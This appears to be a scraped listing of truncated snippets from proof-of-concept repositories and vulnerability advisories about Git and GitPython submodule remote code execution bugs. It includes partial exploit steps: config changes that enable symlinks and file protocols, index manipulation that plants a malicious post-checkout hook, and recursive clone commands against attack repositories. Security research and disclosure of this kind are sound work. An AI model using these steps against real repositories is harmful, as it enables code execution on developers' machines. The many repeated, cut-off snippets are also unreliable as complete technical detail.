CVE-2024-32002-poc

Bash Script: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale" Initialize...

hook

This repository does not have a README...

CVE-2024-32002

CVE-2024-32002 A simple proof-of-concept that executes Calculator macOS example only. When using git clone --recursive command, this repo will also pull https://github.com/markuta/hooky, which contains a post-checkout script. Mostly based on the commit fix t7406-submodule-update.sh file. Run Note...

git_rce

CVE-2024-32002 PoC 1. You must set up the git's symbolic link option like: git config --global core.symlinks true 2. Then exploit CVE-2024-32002 by the following command: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Attack Scenario kali192.168.216.129 --Give remote repository...

CVE-2025-48384-submodule

CVE-2025-48384 Submodule This submodule contains a malicious post-checkout hook for demonstration...

cve-2024-32002-submodule-rce

CVE-2024-32002 RCE Submodule A submodule to demonstrate CVE-2024-32002. Demonstrates Remote Code Execution RCE by loading a malicious commit hook into the .git directory of the parent repo. See cve-2024-32002-poc-rce for the working POC that utilises this repo. What this repo contains A malicous...

hook

hook submodule for gitrce: https://github.com/EQSTSeminar/gitrce Attack Scenario kali192.168.216.129 --Give remote repository address-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook scriptpost-checkout execution-- Win192.168.216.130 Disclaimer This repository is not intended to be gi...

CVE-2025-48384

CVE-2025-48384 PoC Notes This repository was created for security education purposes. Please do not misuse it. This vulnerability requires including \r in directory names, so Linux/Unix systems are affected. The following Git versions are affected: v2.43.x series - less than v2.43.7 v2.44.x serie...

CVE-2024-32002-Exploit

!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

CVE-2024-32002

GIT RCE CVE-2024-32002 Description | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to...

Linux Distros Unpatched Vulnerability : CVE-2026-114145

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an...

EUVD-2026-107557

GitPython validates a submodule's ".git" path only after cloning into it RCE...

GitPython validates a submodule's ".git" path only after cloning into it (RCE)

Summary createsubmodulename, path, url clones a submodule into the repo's own .git directory before it rejects the path. A path of ".git/hooks" is accepted by the pre-clone check, so the submodule is cloned straight into the live hooks directory, and a file named post-checkout in the submodule...

SUSE CVE-2026-114145

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...

DEBIAN-CVE-2026-114145

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...

CVE-2026-114145

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...

CVE-2026-114145 GitPython validates a submodule's ".git" path only after cloning into it (RCE)

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...

CVE-2026-114145

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...

CVE-2026-114145 GitPython validates a submodule's ".git" path only after cloning into it (RCE)

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...

CVE-2026-114145 GitPython validates a submodule's ".git" path only after cloning into it (RCE)

GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, createsubmodule in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes clonerepo before safely rejecting the destination. In 3.1.x, validaterepopath does no...